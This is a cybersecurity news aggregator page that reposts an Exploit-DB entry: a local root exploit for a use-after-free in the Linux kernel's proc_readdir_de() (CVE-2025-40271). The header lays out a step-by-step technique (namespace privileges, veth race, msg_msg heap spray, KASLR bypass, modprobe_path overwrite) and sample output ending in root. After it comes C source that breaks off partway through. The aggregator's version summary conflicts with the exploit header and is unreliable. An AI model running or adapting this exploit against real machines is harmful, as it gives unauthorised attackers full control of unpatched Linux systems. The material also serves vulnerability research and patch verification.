Security News

Cybersecurity news aggregator

πŸ”“
HIGH Vulnerabilities Exploit-DB

[local] Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation

A use-after-free vulnerability (CVE-2025-40271, CVSS 7.8 HIGH) in the Linux kernel's `proc_readdir_de()` function allows local privilege escalation by racing `getdents64()` against the removal of `/proc` entries, enabling kernel heap manipulation. The NVD data indicates affected versions include Linux kernel 6.1 up to 6.1.37, 6.2 up to 6.3.11, and version 6.4. Patches are available in versions 6.1.37, 6.3.11, and later stable releases.
Read Full Article →

This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation EDB-ID: 52550 CVE: 2025-40271 EDB Verified: Author: AVIRALYASH27 Type: LOCAL Exploit: / Platform: LINUX Date: 2026-05-04 Vulnerable App: * Exploit Title: Linux Kernel proc_readdir_de() 6.18-rc5 - Local Privilege Escalation * CVE: CVE-2025-40271 * Date: 2026-03-19 * Exploit Author: Aviral Srivastava * Vendor: Linux Kernel (kernel.org) * Affected: ~3.14+ through 6.18-rc5 (bug predates version tracking) * Fixed in stable: 5.10.247, 6.1.159, 6.12.73, 6.18-rc6 * Fixed in: commit 895b4c0c79b092d732544011c3cecaf7322c36a1 * Tested on: Debian Bookworm (kernel 6.1.115-1 x86_64) * Type: Local Privilege Escalation * Platform: Linux x86_64 * CVSS: ~7.8 (HIGH) β€” NVD assessment pending * * β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” * β”‚ N-DAY β€” THIS VULNERABILITY IS PATCHED. FIX YOUR KERNELS. β”‚ * β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ * * DESCRIPTION: * The proc filesystem's remove_proc_entry() calls rb_erase() to * remove a proc_dir_entry (pde) from the parent's red-black tree, * but does NOT call RB_CLEAR_NODE() to mark the node as detached. * This leaves stale rb-links in the freed entry, causing * RB_EMPTY_NODE() to return false. * * A concurrent proc_readdir_de() traversal via getdents64() can * find the freed entry through pde_subdir_next() β†’ rb_next(), * then dereference its fields (name, namelen, mode, low_ino) β€” * constituting a use-after-free on struct proc_dir_entry. * * The race is triggered by calling getdents64() on a /proc * subdirectory (e.g., /proc/self/net/dev_snmp6/) while concurrently * unregistering network devices, which removes proc entries. * The freed proc_dir_entry (~192 bytes) resides in a standard * kmalloc-192 or kmalloc-256 slab cache, making it sprayable with * msg_msg via msgsnd(). * * TECHNIQUE: * Create user namespace for CAP_NET_ADMIN. Create veth pairs to * populate /proc/self/net/dev_snmp6/. Race getdents64() against * veth deletion. Spray freed kmalloc-192 slots with msg_msg. * Detect UAF via anomalous d_ino values in getdents64 output. * Extract kernel heap address from msg_msg header pointer leaked * through the d_ino field. Use modprobe_path overwrite for LPE. * * RELIABILITY: * ~40-60% UAF hit rate per attempt. Typically 3-8 attempts. * The pde->name dereference during readdir is the crash risk β€” * mitigated by spraying the name slot with valid pointers. * Kernel panic possible (~10% of failed attempts) if spray timing * is wrong. * * MITIGATIONS: * KASLR: Bypassed via heap pointer leak through d_ino * SMEP: Not applicable (data-only attack) * SMAP: Not applicable (all data in kernel slab) * kCFI: Not applicable (modprobe_path overwrite) * SLUB Hardening: Minimal impact (freelist ptr at offset 0 only) * * FIX: * Commit: 895b4c0c79b092d732544011c3cecaf7322c36a1 * URL: https://git.kernel.org/linus/895b4c0c79b092d732544011c3cecaf7322c36a1 * Adds pde_erase() helper that calls RB_CLEAR_NODE() after rb_erase(). * * COMPILATION: * gcc -Wall -Wextra -o exploit exploit.c -lpthread -static * * USAGE: * $ ./exploit * [*] CVE-2025-40271 β€” proc_readdir_de() rb-tree UAF * [+] Kernel 6.1.115-1 is VULNERABLE * [*] Step 1: Setting up user/net namespace... * [+] Namespace ready, CAP_NET_ADMIN obtained * [*] Step 2: Creating veth pairs for proc entries... * [+] Created 32 veth pairs (/proc/self/net/dev_snmp6/) * [*] Step 3: Racing getdents vs device removal... * [+] UAF hit on attempt 4! Anomalous d_ino=0xffff88801234abcd * [*] Step 4: Kernel heap leak: 0xffff88801234abcd * [*] Step 5: Computing modprobe_path address... * [+] Got root! * * REFERENCES: * [1] https://nvd.nist.gov/vuln/detail/CVE-2025-40271 * [2] https://git.kernel.org/linus/895b4c0c79b092d732544011c3cecaf7322c36a1 * [3] CVE-2023-3269 β€” StackRot (rb-tree race technique reference) * [4] CVE-2023-32233 β€” nf_tables msg_msg spray reference * * DISCLAIMER: * This exploit targets an ALREADY PATCHED vulnerability. It is provided * for educational and authorized security research purposes only. The * author is not responsible for misuse. Test only on systems you own. * ═══════════════════════════════════════════════════════════════════════ */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <stdarg.h> #include <unistd.h> #include <errno.h> #include <fcntl.h> #include <sched.h> #include <signal.h> #include <pthread.h> #include <dirent.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/wait.h> #include <sys/socket.h> #include <sys/mman.h> #include <sys/utsname.h> #include <sys/syscall.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/mount.h> #include <sys/ioctl.h> #include <linux/if.h> #include <linux/netlink.h> #include <linux/rtnetlink.h> #include <arpa/inet.h> /* ─── Constants ─────────────────────────────────────────────────────── */ #define BANNER \ "═══════════════════════════════════════════════════════════════\n" \ " CVE-2025-40271 β€” proc_readdir_de() rb-tree UAF LPE\n" \ " fs/proc rb_erase without RB_CLEAR_NODE β†’ stale tree links\n" \ " Affected: ~all kernels through 6.18-rc5\n" \ " Author: Aviral Srivastava | N-DAY RESEARCH PoC\n" \ "═══════════════════════════════════════════════════════════════\n" #define NUM_VETH_PAIRS 32 /* number of veth pairs to create */ #define NUM_SPRAY_MSGS 256 /* msg_msg spray count */ #define SPRAY_BODY_SIZE 144 /* 48 header + 144 body = 192 β†’ kmalloc-192 */ #define MAX_RACE_ATTEMPTS 30 /* max race iterations */ #define PROC_NET_DIR "/proc/self/net/dev_snmp6" /* * On x86_64, kernel heap pointers start with 0xffff8880... * Normal d_ino values are small integers (< 100000). * A d_ino that looks like a kernel pointer means we hit the UAF * and are reading from sprayed msg_msg header data. */ #define IS_KERNEL_PTR(x) (((x) & 0xffff000000000000ULL) == 0xffff000000000000ULL) /* ─── Logging ───────────────────────────────────────────────────────── */ static void info(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "[*] "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void ok(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "\033[32m[+]\033[0m "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void fail(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "\033[31m[-]\033[0m "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void die(const char *msg) { perror(msg); exit(EXIT_FAILURE); } /* ─── Kernel version check ──────────────────────────────────────────── */ static int is_vulnerable(void) { struct utsname uts; unsigned int major, minor, patch; if (uname(&uts) < 0) die("uname"); if (sscanf(uts.release, "%u.%u.%u", &major, &minor, &patch) < 2) { fail("Cannot parse kernel version: %s", uts.release); return 0; } info("Running kernel %s", uts.release); /* Fixed versions per stable branch */ if (major == 5 && minor == 10 && patch >= 247) { fail("Kernel %u.%u.%u β€” PATCHED (fix in 5.10.247)", major, minor, patch); return 0; } if (major == 6 && minor == 1 && patch >= 159) { fail("Kernel %u.%u.%u β€” PATCHED (fix in 6.1.159)", major, minor, patch); return 0; } if (major == 6 && minor == 6 && patch >= 123) { fail("Kernel %u.%u.%u β€” PATCHED (fix in 6.6.123)", major, minor, patch); return 0; } if (major == 6 && minor == 12 && patch >= 73) { fail("Kernel %u.%u.%u β€” PATCHED (fix in 6.12.73)", major, minor, patch); return 0; } if (major == 6 && minor >= 18) { fail("Kernel %u.%u.%u β€” PATCHED (fix in 6.18-rc6)", major, minor, patch); return 0; } if (major >= 7) { fail("Kernel %u.%u.%u β€” PATCHED", major, minor, patch); return 0; } ok("Kernel %u.%u.%u β€” VULNERABLE", major, minor, patch); return 1; } /* ─── User/Net namespace setup ──────────────────────────────────────── */ static int setup_namespace(void) { if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { fail("unshare: %s (check /proc/sys/kernel/unprivileged_userns_clone)", strerror(errno)); return -1; } FILE *f; char path[128]; snprintf(path, sizeof(path), "/proc/%d/setgroups", getpid()); f = fopen(path, "w"); if (f) { fprintf(f, "deny\n"); fclose(f); } snprintf(path, sizeof(path), "/proc/%d/uid_map", getpid()); f = fopen(path, "w"); if (!f) return -1; fprintf(f, "0 %d 1\n", getuid()); fclose(f); snprintf(path, sizeof(path), "/proc/%d/gid_map", getpid()); f = fopen(path, "w"); if (!f) return -1; fprintf(f, "0 %d 1\n", getgid()); fclose(f); return 0; } /* ─── Netlink helpers for veth management ───────────────────────────── */ static int rtnl_open(void) { int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE); if (fd < 0) return -1; struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(fd); return -1; } return fd; } /* * Create a veth pair: vethN <-> veth_pN * Each veth creates a proc entry in /proc/self/net/dev_snmp6/ */ static int create_veth(int rtnl_fd, int idx) { struct { struct nlmsghdr nlh; struct ifinfomsg ifi; char buf[512]; } req; char name[IFNAMSIZ], peer[IFNAMSIZ]; snprintf(name, sizeof(name), "v%d", idx); snprintf(peer, sizeof(peer), "vp%d", idx); memset(&req, 0, sizeof(req)); req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); req.nlh.nlmsg_type = RTM_NEWLINK; req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK; req.nlh.nlmsg_seq = (uint32

Share this article